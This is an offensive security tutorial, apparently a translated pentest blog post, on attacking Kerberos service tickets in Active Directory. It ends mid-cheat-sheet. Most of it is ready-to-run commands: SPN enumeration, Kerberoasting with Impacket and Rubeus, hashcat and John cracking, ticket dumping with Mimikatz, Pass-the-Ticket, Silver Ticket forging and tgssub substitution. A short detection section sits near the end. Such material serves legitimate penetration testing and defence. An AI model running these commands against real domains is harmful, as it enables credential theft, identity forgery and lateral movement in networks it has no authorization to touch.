windows

TGS Kerberos: Kerberoasting, Silver Ticket and Service Ticket

TGS Kerberos: Kerberoasting, Silver Ticket and Service Ticket

Offensive Guide to Ticket-Granting Service (TGS) Kerberos: SPN, Kerberoasting with Rubeus and Impacket, Offline Crack, Pass-the-Ticket and Silver Ticket Windows AD

  • Posted on 2026-07-21
  • Reading time: 15 min

TGS Kerberos: Kerberoasting, Silver Tickets and Service Ticket Attacks #

The Ticket Granting Service (TGS) is the KDC component where the service is encrypted with a key derived from the password of the account running that service. If the account uses a weak password, the ticket can be cracked offline via Kerberoasting . If you already have the service account's key, you can create a Silver Ticket without requesting a new ticket from the Domain Controller.

After obtaining a Kerberos TGT , the client can request tickets intended for domain-specific services: SQL Server, CIFS, LDAP, HTTP, WinRM, Exchange, and many other Active Directory-integrated applications.

This phase of the protocol is particularly interesting during a penetration test because:

  • any authenticated user can normally request Service Tickets for SPNs published in the domain;
  • the request does not require administrative privileges;
  • encrypted material can be analyzed and attacked offline;
  • compromising a single service account can open pathways to databases, application servers, management systems, or domain privileges;
  • Knowing the service key allows you to forge valid tickets without having the impersonated user's password.

The main techniques covered are:

  • SPN enumeration;
  • Kerberoasting with Impacket and Rubeus;
  • cracking RC4 and AES tickets;
  • Selective Kerberoasting;
  • use of tickets already present in memory;
  • Pass-the-Ticket with Service Ticket;
  • Silver Ticket;
  • replacement of the SPN with tgssub;
  • user account, computer account, and gMSA analysis;
  • operational troubleshooting.

TGS, TGS-REQ, TGS-REP and Service Ticket #

These terms are often used synonymously, but they indicate different elements.

AppointmentsMeaning
TGSTicket Granting Service, the KDC service that issues tickets for resources
TGS-REQRequest sent by the client to the KDC to obtain a ticket
TGS-REPKDC's response to the request
Service TicketTicket contained in the TGS-REP and presented to the target service
SPNKerberos identifier of the requested service

The TGT is used to authenticate to the KDC. The Service Ticket is used to authenticate to a specific resource.

A ticket for:

text
cifs/fileserver.corp.local

does not automatically equate to a ticket for:

text
ldap/dc01.corp.local

The service, hostname, and account on which the SPN is registered determine where the ticket can be used.


How the TGS-REQ and TGS-REP Flow Works #

text
CLIENT                                      KDC / DOMAIN CONTROLLER
  │                                                   │
  │──── TGS-REQ ─────────────────────────────────────►│
  │     TGT valido                                    │
  │     Authenticator                                 │
  │     SPN richiesto                                 │
  │     Encryption types supportati                   │
  │                                                   │
  │◄─── TGS-REP ──────────────────────────────────────│
  │     Service Ticket                                │
  │     Session key client-servizio                   │
  │                                                   │
  │──── AP-REQ ───────────────► SERVIZIO TARGET       │
  │     Service Ticket + Authenticator                │
  │                                                   │
  │◄─── AP-REP opzionale ───── SERVIZIO TARGET        │

The client presents its TGT to the Ticket Granting Service and specifies the SPN of the resource it wants to reach.

The KDC returns:

  1. a copy of the session key intended for the client;
  2. a Service Ticket intended for the service;
  3. user identity and authorization information, typically through the PAC.

The Service Ticket is encrypted with a key belonging to the account on which the SPN is registered:

  • with RC4-HMAC the key essentially corresponds to the NT hash of the account;
  • with AES128 or AES256 the key is derived from the password also using the Kerberos salt;
  • the client does not need to know the service password;
  • The service can decrypt the ticket because it has the same key.

The KDC doesn't need to contact the application server during each request. It simply needs to know the key associated with the service account in Active Directory.

This architecture enables Kerberoasting: a user requests a legitimate ticket and subsequently attempts to retrieve the password that generated the service key offline.


SPN: Service Principal Name #

A Service Principal Name is the unique identifier used by Kerberos to associate a service instance with an Active Directory account.

General format:

text
ServiceClass/Host
ServiceClass/Host:Port
ServiceClass/Host:Instance

Examples:

text
MSSQLSvc/sql01.corp.local:1433
MSSQLSvc/sql01.corp.local:SQLEXPRESS
HTTP/web01.corp.local
cifs/fileserver.corp.local
WSMAN/srv01.corp.local
ldap/dc01.corp.local

When the client wants to reach SQL Server on sql01, requires a ticket for:

text
MSSQLSvc/sql01.corp.local:1433

The KDC looks up the account in Active Directory to which the SPN is registered and uses the corresponding key to encrypt the Service Ticket.

A duplicate, incorrect, or registered SPN on the wrong account can cause Kerberos errors such as:

text
KDC_ERR_S_PRINCIPAL_UNKNOWN
KDC_ERR_PRINCIPAL_NOT_UNIQUE
KRB_AP_ERR_MODIFIED

Which Accounts Are Interesting for Kerberoasting? #

Technically, any account with an SPN can receive a Service Ticket. Operationally, however, not all accounts have the same value.

User account with SPN #

The main targets are:

text
svc_sql
svc_web
svc_backup
svc_sccm
svc_sharepoint
svc_exchange

These accounts often use passwords:

  • set manually;
  • very old;
  • excluded from the deadline;
  • shared between multiple servers;
  • based on the name of the service or company;
  • belonging to accounts with elevated privileges.

A user account with an SPN and a manually managed password is the classic Kerberoastable account.

Computer account #

Computer accounts also have numerous SPNs:

text
HOST/ws01.corp.local
cifs/ws01.corp.local
TERMSRV/ws01.corp.local
RestrictedKrbHost/ws01.corp.local

They are technically requestable and modern versions of Impacket even allow you to explicitly select them.

However, the password for a Windows computer account is normally:

  • random;
  • very long;
  • automatically modified;
  • extremely resistant to offline cracking.

Consequently, a ticket belonging to WS01$ It is normally useless for cracking, but can become important if the computer account key has already been recovered via credential dumping, delegation, ACL abuse, or host compromise.

gMSA #

Group Managed Service Accounts use random 240-byte passwords, which are automatically managed by Windows and typically rotated every 30 days.

A gMSA may have SPNs and be technically crackable, but ticket cracking is not a realistic path.

The correct attack vector is to check whether the controlled account has the right to read:

text
msDS-ManagedPassword

If you can recover the gMSA secret, you don't need to crack the Service Ticket.


High Value Service Class #

Service classAssociated servicePotential value
MSSQLSvcMicrosoft SQL ServerDatabase, impersonation, linked server, xp_cmdshell
HTTPIIS, SharePoint, web applicationsApplication or administrative access
WSMANWinRM / PowerShell RemotingRemote session if authorized
cifsSMB and file sharingAccess to shares and files
ldapActive Directory LDAPDirectory queries and authorized LDAP operations
HOSTGeneric Hosting ServicesUsable by several Windows components
TERMSRVRemote Desktop ServicesAuthentication to RDP
exchangeMDBExchange MailboxAccess to Exchange components
exchangeABExchange Address BookExchange Address Book Services
MSOLAPSQL Server Analysis ServicesAccess to BI data
ReportingServiceSQL Server Reporting ServicesReports and application data
CmRcServiceSCCM Remote ControlEndpoint management infrastructure
MSOMSdkSvcSCOM SDKSystem Center Operations Manager
AgpmServerAdvanced Group Policy ManagementAdvanced GPO Management
AFServerPI Asset FrameworkOT and industrial infrastructures

The service class alone doesn't determine account privileges. You should always analyze:

  • groups;
  • ACL;
  • sessions;
  • hosts on which the account is an administrator;
  • delegation settings;
  • application privileges;
  • BloodHound relationships;
  • password age;
  • adminCount;
  • msDS-SupportedEncryptionTypes.

SPN Enumeration from Linux with Impacket #

List user accounts with SPNs #

bash
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip 10.10.10.5

Typical output:

text
ServicePrincipalName                   Name       MemberOf       PasswordLastSet
-------------------------------------  ---------  -------------  -------------------
MSSQLSvc/sql01.corp.local:1433         svc_sql    Domain Users   2021-03-15
HTTP/sharepoint.corp.local             svc_sp     Domain Users   2020-08-10

Authentication via NT hash #

bash
impacket-GetUserSPNs corp.local/user \
  -hashes ':NTHASH' \
  -dc-ip 10.10.10.5

Kerberos ticket authentication is now available #

bash
export KRB5CCNAME=/tmp/user.ccache

impacket-GetUserSPNs corp.local/user \
  -k -no-pass \
  -dc-ip 10.10.10.5

Cross-domain enumeration #

bash
impacket-GetUserSPNs child.corp.local/user:'Password123!' \
  -target-domain corp.local \
  -dc-ip 10.10.10.5

If trusts exist, it may be useful to search for service accounts in linked domains as well.

Enumerate computer accounts with SPNs #

Modern versions of Impacket also support enumerating and requesting tickets for machine accounts:

bash
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip 10.10.10.5 \
  -machine-only

Request for a specific computer:

bash
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip 10.10.10.5 \
  -request-machine 'WS01$' \
  -save

This option is especially useful for advanced Kerberos analysis. Don't expect to crack an automatically generated machine password.


SPN Enumeration from Windows #

SetSPN #

cmd
setspn -T corp.local -Q */*

Search for a specific service class:

cmd
setspn -T corp.local -Q MSSQLSvc/*
setspn -T corp.local -Q HTTP/*
setspn -T corp.local -Q WSMAN/*

Find where a specific SPN is registered:

cmd
setspn -Q MSSQLSvc/sql01.corp.local:1433

List an account's SPNs:

cmd
setspn -L corp\svc_sql

PowerView #

powershell
Get-DomainUser -SPN |
    Select-Object samaccountname,
                  serviceprincipalname,
                  pwdlastset,
                  memberof,
                  admincount

Only accounts with adminCount=1:

powershell
Get-DomainUser -LDAPFilter "(&(servicePrincipalName=*)(adminCount=1))" |
    Select-Object samaccountname,
                  serviceprincipalname,
                  pwdlastset,
                  memberof

Active Directory Module #

powershell
Get-ADUser -LDAPFilter "(servicePrincipalName=*)" \
  -Properties ServicePrincipalName,
              PasswordLastSet,
              MemberOf,
              AdminCount,
              PasswordNeverExpires,
              msDS-SupportedEncryptionTypes |
  Select-Object SamAccountName,
                PasswordLastSet,
                PasswordNeverExpires,
                AdminCount,
                ServicePrincipalName,
                msDS-SupportedEncryptionTypes

Native LDAP #

powershell
$searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.AddRange(@(
    "samaccountname",
    "serviceprincipalname",
    "pwdlastset",
    "memberof",
    "admincount",
    "msds-supportedencryptiontypes"
))

$searcher.FindAll() | ForEach-Object {
    [PSCustomObject]@{
        User   = $_.Properties.samaccountname
        SPN    = $_.Properties.serviceprincipalname -join ", "
        Groups = $_.Properties.memberof -join ", "
        AdminCount = $_.Properties.admincount
        ETypes = $_.Properties.'msds-supportedencryptiontypes'
    }
}

Prioritize Targets #

Requesting tickets for hundreds of accounts without any criteria generates a lot of unnecessary material. It's best to sort the accounts first.

High Priority:

  • account with adminCount=1;
  • members of privileged groups;
  • account with very old password;
  • PasswordNeverExpires;
  • service accounts used on multiple servers;
  • accounts with interesting ACLs;
  • local administrator accounts on servers;
  • MSSQL, SCCM, SCOM, backup, Exchange and SharePoint;
  • accounts that still support RC4;
  • account with a name tied to the company or application.

Rubeus: Statistics without requiring tickets #

powershell
.\Rubeus.exe kerberoast /stats

With encrypted LDAP:

powershell
.\Rubeus.exe kerberoast /stats /ldaps

Filter privileged accounts #

powershell
.\Rubeus.exe kerberoast \
  /ldapfilter:"admincount=1" \
  /outfile:admin_hashes.txt

Filter out old passwords #

powershell
.\Rubeus.exe kerberoast \
  /pwdsetbefore:01-01-2023 \
  /outfile:old_passwords.txt

Limit the number of results #

powershell
.\Rubeus.exe kerberoast \
  /pwdsetbefore:01-01-2023 \
  /resultlimit:5 \
  /outfile:priority_hashes.txt

The most useful combination during an assessment is often:

powershell
.\Rubeus.exe kerberoast \
  /ldapfilter:"admincount=1" \
  /pwdsetbefore:01-01-2024 \
  /resultlimit:10 \
  /outfile:priority_hashes.txt

Kerberoasting with Impacket #

Request all available tickets #

bash
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip 10.10.10.5 \
  -request \
  -outputfile kerberoast.txt

Request a ticket for a specific account #

bash
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip 10.10.10.5 \
  -request-user svc_sql \
  -outputfile svc_sql.txt

Use an NT hash to authenticate #

bash
impacket-GetUserSPNs corp.local/user \
  -hashes ':NTHASH' \
  -dc-ip 10.10.10.5 \
  -request \
  -outputfile kerberoast.txt

Use an AES key #

bash
impacket-GetUserSPNs corp.local/user \
  -aesKey AES256_KEY \
  -dc-ip 10.10.10.5 \
  -request \
  -outputfile kerberoast.txt

Use a TGT already present in the cache #

bash
export KRB5CCNAME=/tmp/user.ccache

impacket-GetUserSPNs corp.local/user \
  -k -no-pass \
  -dc-ip 10.10.10.5 \
  -request \
  -outputfile kerberoast.txt

Avoid forcing RC4 for the initial TGT #

Recent versions of Impacket expose the option:

bash
-no-rc4

Example:

bash
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip 10.10.10.5 \
  -request \
  -no-rc4 \
  -outputfile kerberoast.txt

This option avoids forcing RC4-HMAC when obtaining the initial TGT. The encryption type of the Service Ticket still depends on the keys available on the target account and Kerberos negotiation.


Kerberoasting with Rubeus #

All Kerberoastable accounts #

powershell
.\Rubeus.exe kerberoast /outfile:hashes.txt

Specific account #

powershell
.\Rubeus.exe kerberoast \
  /user:svc_sql \
  /outfile:svc_sql.txt

Specific SPN #

powershell
.\Rubeus.exe kerberoast \
  /spn:"MSSQLSvc/sql01.corp.local:1433" \
  /outfile:sql_ticket.txt

List of SPNs #

powershell
.\Rubeus.exe kerberoast \
  /spns:C:\Temp\spns.txt \
  /outfile:hashes.txt

Content of spns.txt:

text
MSSQLSvc/sql01.corp.local:1433
HTTP/sharepoint.corp.local
WSMAN/srv01.corp.local

Unbroken output #

powershell
.\Rubeus.exe kerberoast /nowrap

Staggered requests #

powershell
.\Rubeus.exe kerberoast \
  /delay:5000 \
  /jitter:30 \
  /outfile:hashes.txt

/delay indicates the pause in milliseconds between requests. /jitter introduces a percentage change.

In an authorized test, these parameters allow you to control the pace of activity and avoid artificial peaks that are not representative of the scenario you are simulating.

AES Ticket #

powershell
.\Rubeus.exe kerberoast \
  /aes \
  /outfile:aes_hashes.txt

RC4 on accounts that are not AES-enabled #

powershell
.\Rubeus.exe kerberoast \
  /rc4opsec \
  /outfile:rc4_hashes.txt

/rc4opsec uses the mechanism tgtdeleg and filters out accounts that are configured for AES, focusing on targets for which RC4 is still expected.

This isn't the same as "making the activity invisible." Requests remain observable in Kerberos logs.

Request RC4 via TGT delegation #

powershell
.\Rubeus.exe kerberoast \
  /usetgtdeleg \
  /outfile:hashes.txt

This mode may require RC4 even for accounts that support AES. In modern environments, it may appear as an encryption downgrade and be much more noticeable than a normal AES request.


Credentialless Kerberoasting via No-Preauth Accounts #

Recent versions of Rubeus and Impacket support scenarios where an account with Kerberos pre-authentication disabled is used to directly request material related to an SPN.

With Rubeus:

powershell
.\Rubeus.exe kerberoast \
  /spn:"MSSQLSvc/sql01.corp.local:1433" \
  /nopreauth:legacy_user \
  /domain:corp.local \
  /dc:dc01.corp.local \
  /nowrap

With multiple SPNs:

powershell
.\Rubeus.exe kerberoast \
  /spns:C:\Temp\spns.txt \
  /nopreauth:legacy_user \
  /domain:corp.local \
  /dc:dc01.corp.local \
  /outfile:hashes.txt

Impacket also supports requests based on users or SPNs provided via files:

bash
impacket-GetUserSPNs corp.local/ \
  -no-preauth legacy_user \
  -usersfile targets.txt \
  -dc-ip 10.10.10.5 \
  -outputfile hashes.txt

This technique should not be confused with standard AS-REP roasting. The goal isn't necessarily to crack the no-preauth user's AS-REP, but to use that principal to obtain material related to the specified services.


RC4 and Kerberoasting in 2026 #

RC4 has historically been the preferred encryption type in Kerberoasting because:

  • the RC4 key corresponds to the NT hash;
  • cracking is significantly faster than AES;
  • many legacy service accounts continue to support it;
  • Older AD configurations still negotiate this for compatibility.

However, the situation has changed.

With the July 2026 Windows Updates, Microsoft initiated the final phase of Kerberos hardening related to CVE-2026-20833. The default behavior of Domain Controllers is increasingly shifting toward AES, while RC4 dependencies must be explicitly configured or they can cause authentication failures.

Practical consequences:

  • /rc4opsec may return few or no accounts;
  • RC4 requests may fail on upgraded domains;
  • some historical examples of Kerberoasting no longer work without legacy configurations;
  • AES128 and AES256 become more common;
  • Offline cracking remains possible, but is more expensive;
  • An RC4 ticket in an AES-first domain is a much stronger indicator.

Before basing a test on RC4, check:

powershell
Get-ADUser svc_sql \
  -Properties msDS-SupportedEncryptionTypes |
  Select-Object SamAccountName,
                msDS-SupportedEncryptionTypes

And analyze tickets with:

cmd
klist

Or:

powershell
.\Rubeus.exe describe /ticket:service_ticket.kirbi

Offline Crack with Hashcat #

TGS-REP RC4 — Etype 23 #

bash
hashcat -m 13100 kerberoast.txt rockyou.txt

With rules:

bash
hashcat -m 13100 kerberoast.txt rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

Show results:

bash
hashcat -m 13100 kerberoast.txt --show

TGS-REP AES128 — Etype 17 #

bash
hashcat -m 19600 aes128_hashes.txt rockyou.txt

TGS-REP AES256 — Etype 18 #

bash
hashcat -m 19700 aes256_hashes.txt rockyou.txt

Combined attack #

bash
hashcat -m 13100 kerberoast.txt \
  company_words.txt \
  seasons.txt \
  -a 1

Mask attack #

Example for pattern like Summer2026!:

bash
hashcat -m 13100 kerberoast.txt \
  -a 3 \
  '?u?l?l?l?l?l?d?d?d?d!'

A generic mask is rarely efficient. It's best to build candidates based on:

  • company name;
  • product name;
  • service hostname;
  • department;
  • season;
  • year;
  • month;
  • numeric suffix;
  • special character;
  • internal conventions identified during the test.

Targeted wordlist example:

text
Corp2026!
CorpSQL2026!
SqlService2026!
Database2026!
Summer2026!
Backup2026!
SharePoint2026!

Prince processor #

bash
pp64.bin company_words.txt |
  hashcat -m 13100 kerberoast.txt

John the Ripper #

bash
john \
  --format=krb5tgs \
  --wordlist=rockyou.txt \
  kerberoast.txt

View recovered password:

bash
john --show --format=krb5tgs kerberoast.txt

Why AES is Harder to Crack #

AES Kerberoasting does not make the service account immune.

The main difference is the computational cost:

  • RC4 uses a simpler derivation;
  • AES uses a more expensive string-to-key;
  • AES cracking is much slower;
  • weak passwords are still vulnerable;
  • A targeted wordlist can still be successful.

An account with a password:

text
Company2026!

remains a valid target even if it uses AES256.

An account with a random password 30–40 characters long is not a realistic target with either RC4 or AES.


Recover Service Tickets Already Existing in Memory #

You don't always need to request a new ticket from the KDC. A compromised host may already have service tickets in the Kerberos cache.

View current tickets #

cmd
klist

With Rubeus:

powershell
.\Rubeus.exe triage

With elevated privileges:

powershell
.\Rubeus.exe triage /luid:0x3e7

Dump tickets with Rubeus #

powershell
.\Rubeus.exe dump /nowrap

Filter by service:

powershell
.\Rubeus.exe dump \
  /service:MSSQLSvc \
  /nowrap

Filter by user:

powershell
.\Rubeus.exe dump \
  /user:administrator \
  /nowrap

Dump with Mimikatz #

powershell
.\mimikatz.exe \
  "privilege::debug" \
  "sekurlsa::tickets /export" \
  "exit"

Tickets are normally saved in format .kirbi.

Convert KIRBI to CCACHE #

bash
impacket-ticketConverter ticket.kirbi ticket.ccache

In some installations:

bash
ticketConverter.py ticket.kirbi ticket.ccache

Load cache:

bash
export KRB5CCNAME=$PWD/ticket.ccache
klist

Pass-the-Ticket with a Service Ticket #

A Service Ticket can be injected or loaded into a session and used without knowing the user's password.

Unlike a TGT, however, the Service Ticket is limited to the SPN for which it was issued.

Windows with Rubeus #

powershell
.\Rubeus.exe ptt /ticket:service_ticket.kirbi

Or Base64:

powershell
.\Rubeus.exe ptt /ticket:doIF...BASE64...==

Verify:

cmd
klist

Using a CIFS ticket:

cmd
dir \\fileserver.corp.local\C$

Using an MSSQL ticket:

cmd
sqlcmd -S sql01.corp.local -E

Isolated session with createnetonly #

powershell
.\Rubeus.exe createnetonly \
  /program:"C:\Windows\System32\cmd.exe" \
  /show \
  /ticket:service_ticket.kirbi

This creates a new network-only logon session and inserts the ticket without polluting the main session's Kerberos cache.

Linux with Impacket #

bash
export KRB5CCNAME=$PWD/Administrator.ccache

CIFS Ticket:

bash
impacket-smbclient \
  -k -no-pass \
  corp.local/Administrator@fileserver.corp.local

MSSQL Ticket:

bash
impacket-mssqlclient \
  -k -no-pass \
  corp.local/Administrator@sql01.corp.local

The name used by the client must match the SPN contained in the ticket. Using the IP address directly often causes NTLM fallbacks or Kerberos errors.


What to Do After Cracking a Service Account #

A recovered password doesn't automatically imply administrative privileges. You should check where and how the account can be used.

SMB Test #

bash
nxc smb 10.10.10.0/24 \
  -u svc_sql \
  -p 'RecoveredPassword!' \
  -d corp.local

List shares:

bash
nxc smb 10.10.10.0/24 \
  -u svc_sql \
  -p 'RecoveredPassword!' \
  -d corp.local \
  --shares

LDAP #

bash
nxc ldap dc01.corp.local \
  -u svc_sql \
  -p 'RecoveredPassword!' \
  -d corp.local \
  --users

blood hound #

bash
bloodhound-python \
  -u svc_sql \
  -p 'RecoveredPassword!' \
  -d corp.local \
  -ns 10.10.10.5 \
  -c All

Or with NetExec:

bash
nxc ldap dc01.corp.local \
  -u svc_sql \
  -p 'RecoveredPassword!' \
  -d corp.local \
  --bloodhound \
  --collection All

MSSQL #

bash
impacket-mssqlclient \
  'corp.local/svc_sql:RecoveredPassword!@sql01.corp.local'

Initial commands:

text
enum_logins
enum_impersonate
enum_links
enable_xp_cmdshell
xp_cmdshell whoami

The enabling of xp_cmdshell Requires adequate privileges. Check impersonation and linked server first.

WinRM #

bash
evil-winrm \
  -i srv01.corp.local \
  -u svc_sql \
  -p 'RecoveredPassword!'

Kerberos with password recovery #

bash
impacket-getTGT \
  'corp.local/svc_sql:RecoveredPassword!'
bash
export KRB5CCNAME=svc_sql.ccache

From this point you can use Impacket tools with:

bash
-k -no-pass

Silver Tickets #

A Silver Ticket is a Service Ticket forged using the key of the account running the target service.

Main difference:

Golden TicketSilver Tickets
Requires key krbtgtRequires service key
Allows you to request more servicesIt is limited to the specific service or account
Forge a TGTCreate a Service Ticket
It involves the entire domainIt hits a more limited resource
May generate subsequent TGS requestsIt can be submitted directly to the service

Prerequisites:

  • NT hash or AES key of the service account;
  • Domain SID;
  • exact SPN of the service;
  • correct hostname;
  • name of the user to represent;
  • groups and RID to be included in the ticket;
  • knowledge of the account on which the SPN is registered.

The service attempts to decrypt the ticket with its own key. If the key is correct and the ticket is consistent, it can accept the forged identity.

Some services or configurations may perform additional PAC validation against the Domain Controller. Therefore, the Silver Ticket should not be considered universally "offline" or always accepted.


Retrieve the Domain SID #

From Windows:

cmd
whoami /user

Example:

text
S-1-5-21-111111111-222222222-333333333-1105

The domain SID is:

text
S-1-5-21-111111111-222222222-333333333

PowerShell:

powershell
Get-ADDomain | Select-Object DomainSID

From Linux with Impacket:

bash
impacket-lookupsid \
  'corp.local/user:Password123!@dc01.corp.local'

Silver Ticket with Impacket #

CIFS hashed computer account #

If you have the NT hash of:

text
FILESERVER$

You can create a ticket for:

text
cifs/fileserver.corp.local
bash
impacket-ticketer \
  -nthash MACHINE_ACCOUNT_NT_HASH \
  -domain-sid S-1-5-21-111111111-222222222-333333333 \
  -domain corp.local \
  -spn cifs/fileserver.corp.local \
  Administrator

The tool creates:

text
Administrator.ccache

Loading:

bash
export KRB5CCNAME=$PWD/Administrator.ccache

SMB Access:

bash
impacket-smbclient \
  -k -no-pass \
  corp.local/Administrator@fileserver.corp.local

MSSQL with service account #

bash
impacket-ticketer \
  -nthash SERVICE_ACCOUNT_NT_HASH \
  -domain-sid S-1-5-21-111111111-222222222-333333333 \
  -domain corp.local \
  -spn MSSQLSvc/sql01.corp.local:1433 \
  Administrator
bash
export KRB5CCNAME=$PWD/Administrator.ccache
bash
impacket-mssqlclient \
  -k -no-pass \
  corp.local/Administrator@sql01.corp.local

Silver Ticket with AES256 key #

bash
impacket-ticketer \
  -aesKey SERVICE_ACCOUNT_AES256_KEY \
  -domain-sid S-1-5-21-111111111-222222222-333333333 \
  -domain corp.local \
  -spn MSSQLSvc/sql01.corp.local:1433 \
  Administrator

AES is especially important in modern domains where RC4 is disabled or no longer auto-negotiated.


Silver Ticket with Mimikatz #

CIFS #

powershell
.\mimikatz.exe \
  "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-111111111-222222222-333333333 /target:fileserver.corp.local /service:cifs /rc4:MACHINE_ACCOUNT_NT_HASH /ptt" \
  "exit"

Verify:

cmd
klist
dir \\fileserver.corp.local\C$

MSSQL #

powershell
.\mimikatz.exe \
  "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-111111111-222222222-333333333 /target:sql01.corp.local /service:MSSQLSvc /rc4:SERVICE_ACCOUNT_NT_HASH /ptt" \
  "exit"

With AES:

powershell
.\mimikatz.exe \
  "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-111111111-222222222-333333333 /target:sql01.corp.local /service:MSSQLSvc /aes256:SERVICE_ACCOUNT_AES256_KEY /ptt" \
  "exit"

The Mimikatz command is called kerberos::golden, but it is also used to create Silver Tickets when you specify /target e /service with the service key instead of the key krbtgt.


Service Class Useful in Silver Tickets #

SPNMain use
cifs/hostSMB file share
MSSQLSvc/host:portSQL Server
HTTP/hostIIS and HTTP Applications with Kerberos
WSMAN/hostWinRM
HOST/hostWindows services that use the HOST principal
LDAP/dcAuthorized LDAP operations
TERMSRV/hostRemote Desktop Services
RPCSS/hostRPC and DCOM Components

The presence of a valid ticket does not automatically grant the requested authorization. The service can:

  • check groups and SIDs in the PAC;
  • apply local ACLs;
  • request application privileges;
  • reject tickets with incorrect SPN;
  • perform additional validation;
  • use a different account than the one you compromised.

For example, an LDAP ticket doesn't automatically grant DCSync permissions. Appropriate replication rights are still required.


TGS Substitution with Rubeus tgssub #

Rubeus allows you to replace the service name present in a ticket already received.

This technique is useful when multiple services:

  • are executed under the same account;
  • they use the same Kerberos key;
  • belong to the same computer account;
  • are linked to S4U or delegation scenarios.

Syntax #

powershell
.\Rubeus.exe tgssub \
  /ticket:original_ticket.kirbi \
  /altservice:host/server.corp.local \
  /ptt

Example from CIFS to HOST:

powershell
.\Rubeus.exe tgssub \
  /ticket:cifs_ticket.kirbi \
  /altservice:host/fileserver.corp.local \
  /ptt

From HTTP to LDAP:

powershell
.\Rubeus.exe tgssub \
  /ticket:http_ticket.kirbi \
  /altservice:ldap/dc01.corp.local \
  /outfile:ldap_ticket.kirbi

Save without injecting:

powershell
.\Rubeus.exe tgssub \
  /ticket:original.kirbi \
  /altservice:cifs/server.corp.local \
  /outfile:modified.kirbi

Substitution doesn't work arbitrarily between services managed by different accounts. The target service must be able to decrypt the ticket with the same key.

It is particularly relevant in the abuses of:

  • constrained delegation;
  • resource-based constrained delegation;
  • S4U2self;
  • S4U2proxy;
  • computer account with numerous SPNs associated with it.

gMSA Account: Change Carrier #

Verify gMSA accounts:

powershell
Get-ADServiceAccount -Filter * \
  -Properties ServicePrincipalName,
              PrincipalsAllowedToRetrieveManagedPassword,
              msDS-ManagedPasswordInterval |
  Select-Object Name,
                ServicePrincipalName,
                PrincipalsAllowedToRetrieveManagedPassword,
                msDS-ManagedPasswordInterval

If an account is gMSA:

  • don't waste time with traditional cracking;
  • control who can read the managed password;
  • analyze ACLs and authorized groups;
  • search for hosts on which the gMSA is used;
  • verification of delegation and privileges;
  • analyze paths with BloodHound;
  • Check if you have compromised an authorized computer to recover its secret.

A well-configured gMSA almost completely eliminates the risk associated with password Kerberoasting, but it does not eliminate abuse resulting from incorrect authorizations.


Essential Detection #

The article's focus is offensive, but knowing the telemetry helps understand what actions are being produced during the test.

Event ID 4769 #

The event 4769 It is generated on the Domain Controller when the KDC receives a TGS request.

Useful fields:

  • applicant account;
  • service name;
  • client address;
  • ticket encryption type;
  • ticket options;
  • failure code;
  • supported encryption types;
  • keys available for service.

Frequent indicators:

  • many SPNs requested by the same account;
  • account that does not normally require tickets;
  • numerous TGS in a few seconds;
  • RC4 0x17 in an AES-first domain;
  • high-value service accounts required by unusual workstations;
  • requests outside the user's baseline.

Silver Tickets #

A Silver Ticket presented directly to the service can produce:

  • event's audience 4624 on the target host;
  • application access;
  • use of the service;
  • absence of a corresponding event 4769 on the Domain Controller.

The important correlation is not the absence of the event 4627, but:

text
accesso Kerberos al servizio
senza una precedente richiesta TGS coerente sul KDC

Other signs:

  • username does not exist;
  • SID or abnormal groups;
  • service used by an unexpected workstation;
  • account used outside of usual hosts;
  • ticket with inconsistent data;
  • processes that access LSASS;
  • use of .kirbi o .ccache from unusual processes.

Troubleshooting #

KDC_ERR_S_PRINCIPAL_UNKNOWN #

The KDC does not find the SPN.

Check it out:

cmd
setspn -Q MSSQLSvc/sql01.corp.local:1433

Possible causes:

  • SPN does not exist;
  • incorrect hostname;
  • missing door;
  • unregistered DNS alias;
  • SPN registered with different format.

KDC_ERR_PRINCIPAL_NOT_UNIQUE #

The SPN is duplicated.

cmd
setspn -X

Timely research:

cmd
setspn -Q HTTP/web01.corp.local

KRB_AP_ERR_MODIFIED #

The service cannot decrypt the ticket.

Common Causes:

  • SPN registered to the wrong account;
  • service account password changed but service not updated;
  • ticket forged with the wrong key;
  • inconsistent hostname or alias;
  • multiple services configured with different accounts;
  • old ticket still in cache.

Cache clearing:

cmd
klist purge

Clock skew #

Kerberos relies heavily on time synchronization.

Linux:

bash
sudo ntpdate dc01.corp.local

Or:

bash
sudo timedatectl set-ntp false
sudo ntpdate 10.10.10.5

Windows:

cmd
w32tm /query /status
w32tm /resync

Use IP instead of name #

This command may cause NTLM fallback:

cmd
dir \\10.10.10.20\C$

Do you prefer:

cmd
dir \\fileserver.corp.local\C$

From Linux, configure DNS correctly or /etc/hosts:

text
10.10.10.5   dc01.corp.local dc01
10.10.10.20  fileserver.corp.local fileserver
10.10.10.30  sql01.corp.local sql01

Kerberos cache error #

bash
echo "$KRB5CCNAME"
klist

Correct setting:

bash
export KRB5CCNAME=$PWD/Administrator.ccache

Ticket expired #

bash
klist

Check it out:

  • Valid starting;
  • Expires;
  • renew until;
  • major;
  • service principal;
  • encryption type.

RC4 not supported #

In modern domains, you may receive errors related to missing intersections between encryption types.

Proof:

  • AES128;
  • AES256;
  • -no-rc4 with Impacket;
  • /aes with Rubeus;
  • check msDS-SupportedEncryptionTypes;
  • Verify that the account password has been changed after AES support was introduced;
  • check Event ID 27 on the KDC.

Cheat sheet #

text
=== ENUMERAZIONE SPN ===

Linux:
impacket-GetUserSPNs 'corp.local/user:Password123!' -dc-ip DC_IP

Windows:
setspn -T corp.local -Q */*
Get-DomainUser -SPN
.\Rubeus.exe kerberoast /stats


=== KERBEROASTING CON IMPACKET ===

Tutti:
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip DC_IP -request -outputfile hashes.txt

Utente specifico:
impacket-GetUserSPNs 'corp.local/user:Password123!' \
  -dc-ip DC_IP -request-user svc_sql -outputfile svc_sql.txt

Pass-the-Hash:
